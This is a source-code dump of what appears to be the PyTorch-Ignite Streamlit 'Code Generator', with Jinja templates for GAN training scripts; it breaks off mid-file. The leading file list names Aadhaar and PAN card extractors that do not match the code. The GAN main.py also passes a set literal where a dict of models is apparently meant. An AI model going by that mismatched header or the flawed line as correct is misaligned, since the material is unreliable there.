[ "/aadharExtract.py", "/app.py", "/panCardExtract.py", "/utils.py", "/voterIdExtract.py" ]
0xDeus/code-generator
"""Code Generator base module. """ import base64 import io import shutil import tarfile import zipfile from pathlib import Path from jinja2 import Environment, FileSystemLoader class CodeGenerator: def __init__(self, templates_dir: str = "./templates", dist_dir: str = "./dist"): self.templates_dir = Path(templates_dir) self.dist_dir = Path(dist_dir) self.dist_dir.mkdir(parents=True, exist_ok=True) self.rendered_code = {} self.available_archive_formats = [x[0] for x in shutil.get_archive_formats()[::-1]] def render_templates(self, template_name: str, config: dict): """Renders all the templates files from template folder for the given config.""" # loading the template files based on given template and from the _base folder # since we are using some templates from _base folder loader = FileSystemLoader([self.templates_dir / "_base", self.templates_dir / template_name]) env = Environment( loader=loader, trim_blocks=True, lstrip_blocks=True, ) def filter_func(x: str): if config["test_all"]: return not x.startswith("_") return not x.startswith("_") ^ (x == "test_all.py") for fname in env.list_templates(filter_func=filter_func): code = env.get_template(fname).render(**config) self.rendered_code[fname] = code yield fname, code def make_and_write(self, template_name: str, dest_path: Path): """Make the directories first and write to the files""" for p in (self.templates_dir / template_name).rglob("*"): if not p.stem.startswith("_") and p.is_dir(): # p is templates/template_name/... # remove "templates" from p.parts and join with "/", so we'll have # template_name/... p = "/".join(p.parts[1:]) else: p = template_name if not (dest_path / p).is_dir(): (dest_path / p).mkdir(parents=True, exist_ok=True) for fname, code in self.rendered_code.items(): (dest_path / template_name / fname).write_text(code) def write_archive(self, template_name, archive_format, dest_path): """Creates dist dir with generated code, then makes the archive.""" self.make_and_write(template_name, dest_path) archive_fname = shutil.make_archive( base_name=template_name, root_dir=dest_path, format=archive_format, base_dir=template_name, ) archive_fname = shutil.move(archive_fname, dest_path / archive_fname.split("/")[-1]) return archive_fname def writes_archive(self, template_name, archive_format): """Writes archive as Base64 string.""" arch_buffer = io.BytesIO() if archive_format == "zip": with zipfile.ZipFile(arch_buffer, "w", zipfile.ZIP_DEFLATED) as arch: for fname, code in self.rendered_code.items(): arch.writestr(f"{template_name}/{fname}", code) elif archive_format == "tar.gz": with tarfile.open(fileobj=arch_buffer, mode="w:gz") as arch: for fname, code in self.rendered_code.items(): tarinfo = tarfile.TarInfo(name=f"{template_name}/{fname}") code_fileobj = io.BytesIO(code.encode()) tarinfo.size = len(code_fileobj.getvalue()) arch.addfile(tarinfo, code_fileobj) else: raise ValueError(f"Wrong archive format '{archive_format}', use one of available formats: zip, tar.gz") arch_str = base64.b64encode(arch_buffer.getvalue()).decode() return arch_str --- FILE SEPARATOR --- import os import shutil import tempfile from pathlib import Path import streamlit as st from app.codegen import CodeGenerator from app.utils import import_from_file __version__ = "0.1.0" DEV_MODE = int(os.getenv("DEV_MODE", 0)) == 1 FOLDER_TO_TEMPLATE_NAME = { "Image Classification": "image_classification", "Text Classification": "text_classification", "Generative Adversarial Network": "gan", "Single Model, Single Optimizer": "single", } TIP = """ **💡 TIP** To quickly adapt to the generated code structure, there are TODOs in the files that are needed to be edited. [PyCharm TODO comments](https://www.jetbrains.com/help/pycharm/using-todo.html) or [VSCode Todo Tree](https://marketplace.visualstudio.com/items?itemName=Gruntfuggly.todo-tree) can help you find them easily. """ class App: page_title = "Code Generator" page_icon = "https://raw.githubusercontent.com/pytorch/ignite/master/assets/logo/ignite_logomark.svg" description = f""" <div align='center'> <img src="{page_icon}" width="100" height="100"> # Code Generator Application to generate your training scripts with [PyTorch-Ignite](https://github.com/pytorch/ignite). [![Twitter](https://badgen.net/badge/icon/Twitter?icon=twitter&label)](https://twitter.com/pytorch_ignite) [![GitHub](https://badgen.net/badge/icon/GitHub?icon=github&label)](https://github.com/pytorch-ignite/code-generator) [![Release](https://badgen.net/github/tag/pytorch-ignite/code-generator/?label=release)](https://github.com/pytorch-ignite/code-generator/releases/latest) </div> <details> <summary> <samp>Learn More</samp> </summary> #### Code Generator, what is it ? - "Code Generator" is a streamlit application to produce quick-start python code for common training tasks in deep learning. - Code is using PyTorch framework and PyTorch-Ignite library can be configured using the UI. #### Why to use Code Generator ? - Start working on a task without rewriting everything from scratch: Kaggle competition, client prototype project, etc. </details> <details open="true"> <summary> <samp>Get Started</samp> </summary> #### How to use it ? 1. 📃 Choose a Template. 2. ⚙️ Adjust the configuration in the left sidebar. _(click on > if closed)_ 3. 🔬 Inspect the code in the central widget. 4. 📦 Download the source code. 5. 🚀 Use it for your project. </details> --- """ def __init__(self): st.set_page_config(page_title=self.page_title, page_icon=self.page_icon) st.info( "Code-Generator v0.2.0 released with new UI, templates, and bug fixes.\ \nTry now at: https://code-generator.pytorch-ignite.ai/" ) st.write(self.description, unsafe_allow_html=True) self.codegen = CodeGenerator() def sidebar(self, template_list=None, config=None): """Sidebar on the left.""" template_list = template_list or [] st.markdown("### Choose a Template") self.template_name = st.selectbox("Available Templates are:", options=template_list) self.template_name = FOLDER_TO_TEMPLATE_NAME[self.template_name] with st.sidebar: if self.template_name: config = config(self.template_name) self.config = config.get_configs() else: self.config = {} def render_code(self, fname: str = "", code: str = ""): """Main content with the code.""" with st.beta_expander(fname): if fname.endswith(".md"): st.markdown(code, unsafe_allow_html=True) else: col1, col2 = st.beta_columns([1, 20]) with col1: st.code("\n".join(map("{:>3}".format, range(1, code.count("\n") + 1)))) with col2: st.code(code) def render_directory(self, dir): """tree command is not available in all systems.""" output = f"{dir}\n" # https://stackoverflow.com/questions/9727673/list-directory-tree-structure-in-python # prefix components: space = " " branch = "│ " # pointers: tee = "├── " last = "└── " file_count = 0 dir_count = 0 def tree(dir_path: Path, prefix: str = ""): """A recursive generator, given a directory Path object will yield a visual tree structure line by line with each line prefixed by the same characters """ nonlocal file_count nonlocal dir_count contents = sorted(dir_path.iterdir()) # contents each get pointers that are ├── with a final └── : pointers = [tee] * (len(contents) - 1) + [last] for pointer, path in zip(pointers, contents): if path.is_file(): file_count += 1 yield prefix + pointer + path.name if path.is_dir(): # extend the prefix and recurse: dir_count += 1 extension = branch if pointer == tee else space # i.e. space because last, └── , above so no more | yield from tree(path, prefix=prefix + extension) for line in tree(dir): output += line + "\n" output += f"\n{dir_count} directories, {file_count} files" st.markdown("Generated files and directory structure") st.code(output) def add_sidebar(self): def config(template_name): return import_from_file("template_config", f"./templates/{template_name}/_sidebar.py") self.sidebar([*FOLDER_TO_TEMPLATE_NAME], config) def add_content(self): """Get generated/rendered code from the codegen.""" content = [*self.codegen.render_templates(self.template_name, self.config)] if st.checkbox("View rendered code ?", value=True): for fname, code in content: if len(code): # don't show files which don't have content in them self.render_code(fname, code) def download_panel_dev(self): st.markdown("") col1, col2 = st.beta_columns(2) with col1: archive_format = st.radio("Archive formats", self.codegen.available_archive_formats) # temporary hack until streamlit has official download option # https://github.com/streamlit/streamlit/issues/400 # https://github.com/streamlit/streamlit/issues/400#issuecomment-648580840 if st.button("Generate an archive"): tmp_dir = tempfile.TemporaryDirectory(prefix="", dir=self.codegen.dist_dir) tmp_dir = Path(tmp_dir.name) archive_fname = self.codegen.write_archive(self.template_name, archive_format, tmp_dir) # this is where streamlit serves static files # ~/site-packages/streamlit/static/static/ dist_path = Path(st.__path__[0]) / "static/static" / tmp_dir if not dist_path.is_dir(): dist_path.mkdir(parents=True, exist_ok=True) shutil.copy(archive_fname, dist_path) st.success(f"Download link : [{archive_fname}](./static/{archive_fname})") with col2: self.render_directory(Path(tmp_dir, self.template_name)) def download_panel(self): st.markdown("") archive_format = None mimetype = "" _, zip_col, tar_col, _ = st.beta_columns(4) if zip_col.button("📦 Download zip"): archive_format = "zip" mimetype = "application/zip" if tar_col.button("📦 Download tar"): archive_format = "tar.gz" mimetype = "application/x-tar" if archive_format is not None: archive = self.codegen.writes_archive(self.template_name, archive_format) download_link = ( f'Download link: <a href="data:{mimetype};base64,{archive}" ' f'download="{self.template_name}.{archive_format}">' f"{self.template_name}.{archive_format}</a>" ) st.markdown(download_link, unsafe_allow_html=True) def add_download_panel(self): if DEV_MODE: self.download_panel_dev() else: self.download_panel() def run(self): self.add_sidebar() self.add_content() self.add_download_panel() st.info(TIP) def main(): App().run() if __name__ == "__main__": main() --- FILE SEPARATOR --- """Utilities module. """ from importlib.machinery import SourceFileLoader def import_from_file(module_name: str, filepath: str): """Imports a module from file. Args: module_name (str): Assigned to the module's __name__ parameter (does not influence how the module is named outside of this function) filepath (str): Path to the .py file Returns: The module """ return SourceFileLoader(module_name, filepath).load_module() --- FILE SEPARATOR --- {% block imports %} from argparse import ArgumentParser {% endblock %} {% block defaults %} DEFAULTS = { "use_amp": { "action": "store_true", "help": "use torch.cuda.amp for automatic mixed precision. Default: %(default)s" }, "resume_from": { "default": None, "type": str, "help": "path to the checkpoint file to resume, can also url starting with https. Default: %(default)s" }, "seed": { "default": 666, "type": int, "help": "seed to use in ignite.utils.manual_seed(). Default: %(default)s" }, "verbose": { "action": "store_true", "help": "use logging.INFO in ignite.utils.setup_logger. Default: %(default)s", }, # distributed training options "backend": { "default": None, "type": str, "help": "backend to use for distributed training. Default: %(default)s", }, "nproc_per_node": { "default": {{nproc_per_node}}, "type": int, "help": """number of processes to launch on each node, for GPU training this is recommended to be set to the number of GPUs in your system so that each process can be bound to a single GPU. Default: %(default)s""", }, "node_rank": { "default": {{node_rank}}, "type": int, "help": "rank of the node for multi-node distributed training. Default: %(default)s", }, "nnodes": { "default": {{nnodes}}, "type": int, "help": "number of nodes to use for distributed training. Default: %(default)s", }, "master_addr": { "default": {{master_addr}}, "type": str, "help": "master node TCP/IP address for torch native backends. Default: %(default)s", }, "master_port": { "default": {{master_port}}, "type": int, "help": "master node port for torch native backends. Default: %(default)s", }, "train_epoch_length": { "default": None, "type": int, "help": "epoch_length of Engine.run() for training. Default: %(default)s" }, "eval_epoch_length": { "default": None, "type": int, "help": "epoch_length of Engine.run() for evaluation. Default: %(default)s" }, # ignite handlers options "save_every_iters": { "default": {{save_every_iters}}, "type": int, "help": "Saving iteration interval. Default: %(default)s", }, "n_saved": { "default": {{n_saved}}, "type": int, "help": "number of best models to store. Default: %(default)s", }, "log_every_iters": { "default": {{log_every_iters}}, "type": int, "help": "logging interval for iteration progress bar. Default: %(default)s", }, "with_pbars": { "default": {{with_pbars}}, "type": bool, "help": "show epoch-wise and iteration-wise progress bars. Default: %(default)s", }, "with_pbar_on_iters": { "default": {{with_pbar_on_iters}}, "type": bool, "help": "show iteration progress bar or not. Default: %(default)s", }, "stop_on_nan": { "default": {{stop_on_nan}}, "type": bool, "help": "stop the training if engine output contains NaN/inf values. Default: %(default)s", }, "clear_cuda_cache": { "default": {{clear_cuda_cache}}, "type": bool, "help": "clear cuda cache every end of epoch. Default: %(default)s", }, "with_gpu_stats": { "default": {{with_gpu_stats}}, "type": bool, "help": "show gpu information, requires pynvml. Default: %(default)s", }, "patience": { "default": {{patience}}, "type": int, "help": "number of events to wait if no improvement and then stop the training. Default: %(default)s" }, "limit_sec": { "default": {{limit_sec}}, "type": int, "help": "maximum time before training terminates in seconds. Default: %(default)s" }, # ignite logger options "output_dir": { "default": "{{ output_dir }}", "type": str, "help": "directory to save all outputs. Default: %(default)s", }, "logger_log_every_iters": { "default": {{logger_log_every_iters}}, "type": int, "help": "logging interval for experiment tracking system. Default: %(default)s", }, } {% endblock %} {% block get_default_parser %} def get_default_parser() -> ArgumentParser: """Get the default configs for training.""" parser = ArgumentParser(add_help=False) for key, value in DEFAULTS.items(): parser.add_argument(f"--{key}", **value) return parser {% endblock %} --- FILE SEPARATOR --- from ignite.engine.events import EventEnum class TrainEvents(EventEnum): """Additional Training Events. includes - BACKWARD_COMPLETED : trigger after calling loss.backward() - OPTIM_STEP_COMPLETED : trigger after calling optimizer.step() """ BACKWARD_COMPLETED = "backward_completed" OPTIM_STEP_COMPLETED = "optim_step_completed" # define events and attribute mapping # so that we can trigger them with custom filter function train_events_to_attr = { TrainEvents.BACKWARD_COMPLETED: "backward_completed", TrainEvents.OPTIM_STEP_COMPLETED: "optim_step_completed", } # Any custom events can go below # fire them in process_function of the respective engine and # register them with the respective engine --- FILE SEPARATOR --- """ Ignite handlers """ from typing import Any, Dict, Iterable, Mapping, Optional, Tuple, Union from ignite.contrib.engines import common from ignite.contrib.handlers.base_logger import BaseLogger from ignite.contrib.handlers.param_scheduler import LRScheduler from ignite.engine.engine import Engine from ignite.engine.events import Events from ignite.handlers import Checkpoint, EarlyStopping, TimeLimit, Timer from torch.nn import Module from torch.optim.optimizer import Optimizer from torch.utils.data.distributed import DistributedSampler def get_handlers( config: Any, model: Module, trainer: Engine, evaluator: Engine, metric_name: str, es_metric_name: str, train_sampler: Optional[DistributedSampler] = None, to_save: Optional[Mapping] = None, lr_scheduler: Optional[LRScheduler] = None, output_names: Optional[Iterable[str]] = None, **kwargs: Any, ) -> Union[Tuple[Checkpoint, EarlyStopping, Timer], Tuple[None, None, None]]: """Get best model, earlystopping, timer handlers. Parameters ---------- config Config object for setting up handlers `config` has to contain - `output_dir`: output path to indicate where to_save objects are stored - `save_every_iters`: saving iteration interval - `n_saved`: number of best models to store - `log_every_iters`: logging interval for iteration progress bar and `GpuInfo` if true - `with_pbars`: show two progress bars - `with_pbar_on_iters`: show iteration-wise progress bar - `stop_on_nan`: Stop the training if engine output contains NaN/inf values - `clear_cuda_cache`: clear cuda cache every end of epoch - `with_gpu_stats`: show GPU information: used memory percentage, gpu utilization percentage values - `patience`: number of events to wait if no improvement and then stop the training - `limit_sec`: maximum time before training terminates in seconds model best model to save trainer the engine used for training evaluator the engine used for evaluation metric_name evaluation metric to save the best model es_metric_name evaluation metric to early stop the model train_sampler distributed training sampler to call `set_epoch` to_save objects to save during training lr_scheduler learning rate scheduler as native torch LRScheduler or ignite’s parameter scheduler output_names list of names associated with `trainer`'s process_function output dictionary kwargs keyword arguments passed to Checkpoint handler Returns ------- best_model_handler, es_handler, timer_handler """ best_model_handler, es_handler, timer_handler = None, None, None # https://pytorch.org/ignite/contrib/engines.html#ignite.contrib.engines.common.setup_common_training_handlers # kwargs can be passed to save the model based on training stats # like score_name, score_function common.setup_common_training_handlers( trainer=trainer, train_sampler=train_sampler, to_save=to_save, lr_scheduler=lr_scheduler, output_names=output_names, output_path=config.output_dir / 'checkpoints', save_every_iters=config.save_every_iters, n_saved=config.n_saved, log_every_iters=config.log_every_iters, with_pbars=config.with_pbars, with_pbar_on_iters=config.with_pbar_on_iters, stop_on_nan=config.stop_on_nan, clear_cuda_cache=config.clear_cuda_cache, with_gpu_stats=config.with_gpu_stats, **kwargs, ) {% if save_best_model_by_val_score %} # https://pytorch.org/ignite/contrib/engines.html#ignite.contrib.engines.common.save_best_model_by_val_score best_model_handler = common.save_best_model_by_val_score( output_path=config.output_dir / 'checkpoints', evaluator=evaluator, model=model, metric_name=metric_name, n_saved=config.n_saved, trainer=trainer, tag='eval', ) {% endif %} {% if add_early_stopping_by_val_score %} # https://pytorch.org/ignite/contrib/engines.html#ignite.contrib.engines.common.add_early_stopping_by_val_score es_handler = common.add_early_stopping_by_val_score( patience=config.patience, evaluator=evaluator, trainer=trainer, metric_name=es_metric_name, ) {% endif %} {% if setup_timer %} # https://pytorch.org/ignite/handlers.html#ignite.handlers.Timer # measure the average time to process a single batch of samples # Events for that are - ITERATION_STARTED and ITERATION_COMPLETED # you can replace with the events you want to measure timer_handler = Timer(average=True) timer_handler.attach( engine=trainer, start=Events.EPOCH_STARTED, resume=Events.ITERATION_STARTED, pause=Events.ITERATION_COMPLETED, step=Events.ITERATION_COMPLETED, ) {% endif %} {% if setup_timelimit %} # training will terminate if training time exceed `limit_sec`. trainer.add_event_handler( Events.ITERATION_COMPLETED, TimeLimit(limit_sec=config.limit_sec) ) {% endif %} return best_model_handler, es_handler, timer_handler def get_logger( config: Any, trainer: Engine, evaluator: Optional[Union[Engine, Dict[str, Engine]]] = None, optimizers: Optional[Union[Optimizer, Dict[str, Optimizer]]] = None, **kwargs: Any, ) -> Optional[BaseLogger]: """Get Ignite provided logger. Parameters ---------- config Config object for setting up loggers `config` has to contain - `filepath`: logging path to output file - `logger_log_every_iters`: logging iteration interval for loggers trainer trainer engine evaluator evaluator engine optimizers optimizers to log optimizer parameters kwargs optional keyword arguments passed to the logger Returns ------- logger_handler Ignite provided logger instance """ {% if logger_deps == 'clearml' %} logger_handler = common.setup_clearml_logging( trainer=trainer, optimizers=optimizers, evaluators=evaluator, log_every_iters=config.logger_log_every_iters, **kwargs, ) {% elif logger_deps == 'mlflow' %} logger_handler = common.setup_mlflow_logging( trainer=trainer, optimizers=optimizers, evaluators=evaluator, log_every_iters=config.logger_log_every_iters, **kwargs, ) {% elif logger_deps == 'neptune-client' %} logger_handler = common.setup_neptune_logging( trainer=trainer, optimizers=optimizers, evaluators=evaluator, log_every_iters=config.logger_log_every_iters, **kwargs, ) {% elif logger_deps == 'polyaxon-client' %} logger_handler = common.setup_plx_logging( trainer=trainer, optimizers=optimizers, evaluators=evaluator, log_every_iters=config.logger_log_every_iters, **kwargs, ) {% elif logger_deps == 'tensorboard' %} logger_handler = common.setup_tb_logging( output_path=config.output_dir, trainer=trainer, optimizers=optimizers, evaluators=evaluator, log_every_iters=config.logger_log_every_iters, **kwargs, ) {% elif logger_deps == 'visdom' %} logger_handler = common.setup_visdom_logging( trainer=trainer, optimizers=optimizers, evaluators=evaluator, log_every_iters=config.logger_log_every_iters, **kwargs, ) {% elif logger_deps == 'wandb' %} logger_handler = common.setup_wandb_logging( trainer=trainer, optimizers=optimizers, evaluators=evaluator, log_every_iters=config.logger_log_every_iters, **kwargs, ) {% else %} logger_handler = None {% endif %} return logger_handler --- FILE SEPARATOR --- import streamlit as st def default_none_options(config): # no distributed configs config["backend"] = None config["nproc_per_node"] = None config["nnodes"] = None config["node_rank"] = None config["master_addr"] = None config["master_port"] = None # no limit_sec input config["limit_sec"] = None # no patience input config["patience"] = None # no experiment tracking used config["logger_log_every_iters"] = None # no ignite handler dependencies config["handler_deps"] = "" def distributed_options(config): st.markdown("## Distributed Training Options") config["use_distributed_training"] = st.checkbox("Use distributed training", value=False) if config["use_distributed_training"]: executor = st.selectbox( "Executor", options=("Use torch.distributed.launch", "main.py spawns children processes") ) config["use_distributed_launcher"] = executor == "Use torch.distributed.launch" config["nproc_per_node"] = st.number_input( "Number of processes to launch on each node (nproc_per_node)", min_value=1, value=2, ) config["nnodes"] = st.number_input("Number of nodes to use for distributed training (nnodes)", min_value=1) if config["nnodes"] > 1: st.info( "The following options are only supported by torch.distributed," " namely 'gloo' and 'nccl' backends. For other backends," " please specify spawn_kwargs in main.py" ) config["master_addr"] = st.text_input( "Master node TCP/IP address for torch native backends (master_addr)", value="'127.0.0.1'", ) st.warning("Please include single quote in master_addr.") config["master_port"] = st.text_input( "Master node port for torch native backends (master_port)", value=8080 ) st.markdown("---") def ignite_handlers_options(config): st.markdown("## Ignite Handlers Options") _setup_common_training_handlers_options(config) _save_best_model_by_val_score_options(config) _add_early_stopping_by_val_score_options(config) config["setup_timer"] = st.checkbox("Use Timer handler", value=False) st.markdown("---") config["setup_timelimit"] = st.checkbox("Use TimeLimit handler", value=False) if config["setup_timelimit"]: config["limit_sec"] = st.number_input( "Maximum time before training terminates in seconds. (limit_sec)", min_value=1, value=28800 ) st.markdown("---") handler_deps = ("tqdm>=4.59.0", "pynvml>=8.0.4") if not config["handler_deps"] in handler_deps: if config["with_pbars"]: config["handler_deps"] = handler_deps[0] if config["with_gpu_stats"]: config["handler_deps"] += "\n" + handler_deps[1] def ignite_loggers_options(config): st.markdown("## Ignite Loggers Options") config["output_dir"] = st.text_input( "Directory to save all outputs (output_dir)", "./logs", help="This option will be used by python logging, saving checkpoints, and ignite loggers if possible", ) if st.checkbox("Use experiment tracking system ?", value=True): config["logger_deps"] = st.selectbox( "Select experiment tracking system", ["ClearML", "MLflow", "Neptune", "Polyaxon", "TensorBoard", "Visdom", "WandB"], index=4, ).lower() # for logger requirement if config["logger_deps"] in ("neptune", "polyaxon"): config["logger_deps"] += "-client" config["logger_log_every_iters"] = st.number_input( "Logging interval for experiment tracking system (logger_log_every_iters)", min_value=1, value=100, help="This logging interval is iteration based.", ) st.markdown("---") def test_all_options(config): st.markdown("## Unit Test Options") config["test_all"] = st.checkbox( "Include a test file for the generated codes", help="Tests are implemented with pytest." ) if config["test_all"]: config["test_deps"] = "pytest" st.markdown("---") def _setup_common_training_handlers_options(config): config["save_every_iters"] = st.number_input( "Saving iteration interval (save_every_iters)", min_value=1, value=1000 ) config["n_saved"] = st.number_input("Number of best models to store (n_saved)", min_value=1, value=2) config["log_every_iters"] = st.number_input( "Logging interval for stderr logging, iteration progress bar, and GpuInfo if true (log_every_iters)", min_value=1, value=100, help="Setting to a lower value can cause `tqdm` to fluch quickly for fast trainings", ) config["with_pbars"] = st.checkbox( "Show two progress bars (with_pbars)", value=False, help=( "This option will enable two progress bars - one for epoch," " one for iteration if `with_pbar_on_iters` is `False`," " only epoch-wise progress bar will be enabled." ), ) config["with_pbar_on_iters"] = st.checkbox( "Show iteration-wise progress bar (with_pbar_on_iters)", value=True, help="This option has no effect if `with_pbars` is `False`", ) config["stop_on_nan"] = st.checkbox( "Stop the training if engine output contains NaN/inf values (stop_on_nan)", value=True ) config["clear_cuda_cache"] = st.checkbox( "Clear cuda cache every end of epoch (clear_cuda_cache)", value=True, help="This is calling `torch.cuda.empty_cache()` every end of epoch", ) config["with_gpu_stats"] = st.checkbox( "Show GPU information: used memory percentage, gpu utilization percentage values (with_gpu_stats)", value=False, help="This option attaches `GpuInfo` metric to the trainer. This requires `pynvml` package to be installed.", ) st.markdown("---") def _save_best_model_by_val_score_options(config): config["save_best_model_by_val_score"] = st.checkbox( "Save the best model by evaluation score", value=False, ) st.markdown("---") def _add_early_stopping_by_val_score_options(config): config["add_early_stopping_by_val_score"] = st.checkbox( "Early stop the training by evaluation score", value=False, ) if config["add_early_stopping_by_val_score"]: config["patience"] = st.number_input( "Number of events to wait if no improvement and then stop the training. (patience)", min_value=1, value=3, ) st.markdown("---") --- FILE SEPARATOR --- import sys import streamlit as st sys.path.append("./templates") from _base._sidebar import ( default_none_options, distributed_options, ignite_handlers_options, ignite_loggers_options, test_all_options, ) def dataset_options(config): st.markdown("## Dataset Options") config["dataset"] = st.selectbox( "Dataset to use (dataset)", ["cifar10", "lsun", "imagenet", "folder", "lfw", "fake", "mnist"], ) config["data_path"] = st.text_input("Dataset path (data_path)", "./") st.markdown("---") def dataloader_options(config): st.markdown("## DataLoader Options") config["batch_size"] = st.number_input("Train batch size (batch_size)", min_value=1, value=16) config["num_workers"] = st.number_input("Number of workers (num_workers)", min_value=0, value=2) st.markdown("---") def optimizer_options(config): st.markdown("## Optimizer Options") config["beta_1"] = st.number_input("beta_1 for Adam optimizer (beta_1)", value=0.5) config["lr"] = st.number_input( "Learning rate used by torch.optim.* (lr)", min_value=0.0, value=1e-3, format="%e", ) st.markdown("---") def training_options(config): st.markdown("## Training Options") config["max_epochs"] = st.number_input("Maximum epochs to train (max_epochs)", min_value=1, value=5) st.markdown("---") def model_options(config): st.markdown("## Model Options") config["z_dim"] = st.number_input("Size of the latent z vector (z_dim)", value=100) config["g_filters"] = st.number_input( "Number of filters in the second-to-last generator deconv layer (g_filters)", value=64, ) config["d_filters"] = st.number_input("Number of filters in first discriminator conv layer (d_filters)", value=64) st.markdown("---") def get_configs() -> dict: config = {} config["train_epoch_length"] = None config["eval_epoch_length"] = None config["saved_G"] = None config["saved_D"] = None default_none_options(config) with st.beta_expander("GAN Template Configurations", expanded=True): st.info("Names in the parenthesis are variable names used in the generated code.") # group by configurations type model_options(config) dataset_options(config) dataloader_options(config) optimizer_options(config) training_options(config) distributed_options(config) ignite_handlers_options(config) ignite_loggers_options(config) test_all_options(config) return config --- FILE SEPARATOR --- {% extends "_argparse.py" %} {% block get_default_parser %} UPDATES = { # dataset options "dataset": { "default": "{{ dataset }}", "type": str, "choices": ["cifar10", "lsun", "imagenet", "folder", "lfw", "fake", "mnist"], "help": "dataset to use. Default: %(default)s", }, "data_path": { "default": "{{ data_path }}", "type": str, "help": "datasets path. Default: %(default)s", }, # dataloader options "batch_size": { "default": {{batch_size}}, "type": int, "help": "will be equally divided by number of GPUs if in distributed. Default: %(default)s", }, "num_workers": { "default": {{num_workers}}, "type": int, "help": "num_workers for DataLoader. Default: %(default)s", }, # optimizer options "beta_1": { "default": {{beta_1}}, "type": float, "help": "beta_1 for Adam optimizer. Default: %(default)s", }, "lr": { "default": {{lr}}, "type": float, "help": "learning rate used by torch.optim.*. Default: %(default)s", }, # training options "max_epochs": { "default": {{max_epochs}}, "type": int, "help": "max_epochs of ignite.Engine.run() for training. Default: %(default)s", }, # model options "z_dim": { "default": {{z_dim}}, "type": int, "help": "size of the latent z vector. Default: %(default)s", }, "g_filters": { "default": {{g_filters}}, "type": int, "help": "number of filters in the second-to-last generator deconv layer. Default: %(default)s", }, "d_filters": { "default": {{d_filters}}, "type": int, "help": "number of filters in first discriminator conv layer. Default: %(default)s", }, } DEFAULTS.update(UPDATES) {{ super() }} {% endblock %} --- FILE SEPARATOR --- import ignite.distributed as idist from torchvision import datasets as dset from torchvision import transforms as T def get_datasets(dataset, dataroot): """ Args: dataset (str): Name of the dataset to use. See CLI help for details dataroot (str): root directory where the dataset will be stored. Returns: dataset, num_channels """ local_rank = idist.get_local_rank() if local_rank > 0: # Ensure that only rank 0 download the dataset idist.barrier() resize = T.Resize(64) crop = T.CenterCrop(64) to_tensor = T.ToTensor() normalize = T.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)) if dataset in {"imagenet", "folder", "lfw"}: dataset = dset.ImageFolder(root=dataroot, transform=T.Compose([resize, crop, to_tensor, normalize])) nc = 3 elif dataset == "lsun": dataset = dset.LSUN( root=dataroot, classes=["bedroom_train"], transform=T.Compose([resize, crop, to_tensor, normalize]) ) nc = 3 elif dataset == "cifar10": dataset = dset.CIFAR10(root=dataroot, download=True, transform=T.Compose([resize, to_tensor, normalize])) nc = 3 elif dataset == "mnist": dataset = dset.MNIST(root=dataroot, download=True, transform=T.Compose([resize, to_tensor, normalize])) nc = 1 elif dataset == "fake": dataset = dset.FakeData(size=256, image_size=(3, 64, 64), transform=to_tensor) nc = 3 else: raise RuntimeError(f"Invalid dataset name: {dataset}") if local_rank == 0: # Ensure that only rank 0 download the dataset idist.barrier() return dataset, nc --- FILE SEPARATOR --- """ main entrypoint training """ import warnings from argparse import ArgumentParser from datetime import datetime from pathlib import Path from typing import Any import ignite.distributed as idist import torch from config import get_default_parser from datasets import get_datasets from ignite.engine.events import Events from ignite.utils import manual_seed from torchvision import utils as vutils from trainers import create_trainers from utils import ( get_handlers, get_logger, initialize, log_basic_info, log_metrics, resume_from, setup_logging, ) FAKE_IMG_FNAME = "fake_sample_epoch_{:04d}.png" REAL_IMG_FNAME = "real_sample_epoch_{:04d}.png" LOGS_FNAME = "logs.tsv" PLOT_FNAME = "plot.svg" def run(local_rank: int, config: Any, *args: Any, **kwargs: Any): """function to be run by idist.Parallel context manager.""" # ---------------------- # make a certain seed # ---------------------- rank = idist.get_rank() manual_seed(config.seed + rank) # ----------------------- # create output folder # ----------------------- if rank == 0: now = datetime.now().strftime("%Y%m%d-%H%M%S") name = f"{config.dataset}-backend-{idist.backend()}-{now}" path = Path(config.output_dir, name) path.mkdir(parents=True, exist_ok=True) config.output_dir = path.as_posix() config.output_dir = Path(idist.broadcast(config.output_dir, src=0)) # ----------------------------- # datasets and dataloaders # ----------------------------- train_dataset, num_channels = get_datasets(config.dataset, config.data_path) train_dataloader = idist.auto_dataloader( train_dataset, batch_size=config.batch_size, num_workers=config.num_workers, {% if use_distributed_training and not use_distributed_launcher %} persistent_workers=True, {% endif %} ) # ------------------------------------------ # model, optimizer, loss function, device # ------------------------------------------ device = idist.device() netD, netG, optimizerD, optimizerG, loss_fn, lr_scheduler = initialize(config, num_channels) # ----------------------------- # trainer and evaluator # ----------------------------- ws = idist.get_world_size() real_labels = torch.ones(config.batch_size // ws, device=device) fake_labels = torch.zeros(config.batch_size // ws, device=device) fixed_noise = torch.randn(config.batch_size // ws, config.z_dim, 1, 1, device=device) trainer = create_trainers( config=config, netD=netD, netG=netG, optimizerD=optimizerD, optimizerG=optimizerG, loss_fn=loss_fn, device=device, real_labels=real_labels, fake_labels=fake_labels, ) # ------------------------------------------- # setup engines logger with python logging # print training configurations # ------------------------------------------- logger = setup_logging(config) log_basic_info(logger, config) trainer.logger = logger # ------------------------------------- # ignite handlers and ignite loggers # ------------------------------------- to_save = {'netD': netD, 'netG': netG, 'optimizerD': optimizerD, 'optimizerG': optimizerG, 'trainer': trainer} optimizers = {'optimizerD': optimizerD, 'optimizerG': optimizerG} best_model_handler, es_handler, timer_handler = get_handlers( config=config, model={'netD', netD, 'netG', netG}, trainer=trainer, evaluator=trainer, metric_name='errD', es_metric_name='errD', to_save=to_save, lr_scheduler=lr_scheduler, output_names=["errD", "errG", "D_x", "D_G_z1", "D_G_z2"], ) # setup ignite logger only on rank 0 if rank == 0: logger_handler = get_logger(config=config, trainer=trainer, optimizers=optimizers) # ----------------------------------- # resume from the saved checkpoints # ----------------------------------- if config.resume_from: resume_from(to_load=to_save, checkpoint_fp=config.resume_from) # -------------------------------------------------- # adding handlers using `trainer.on` decorator API # -------------------------------------------------- @trainer.on(Events.EPOCH_COMPLETED) def save_fake_example(engine): fake = netG(fixed_noise) path = config.output_dir / (FAKE_IMG_FNAME.format(engine.state.epoch)) vutils.save_image(fake.detach(), path, normalize=True) # -------------------------------------------------- # adding handlers using `trainer.on` decorator API # -------------------------------------------------- @trainer.on(Events.EPOCH_COMPLETED) def save_real_example(engine): img, y = engine.state.batch path = config.output_dir / (REAL_IMG_FNAME.format(engine.state.epoch)) vutils.save_image(img, path, normalize=True) # ------------------------------------------------------------- # adding handlers using `trainer.on` decorator API # 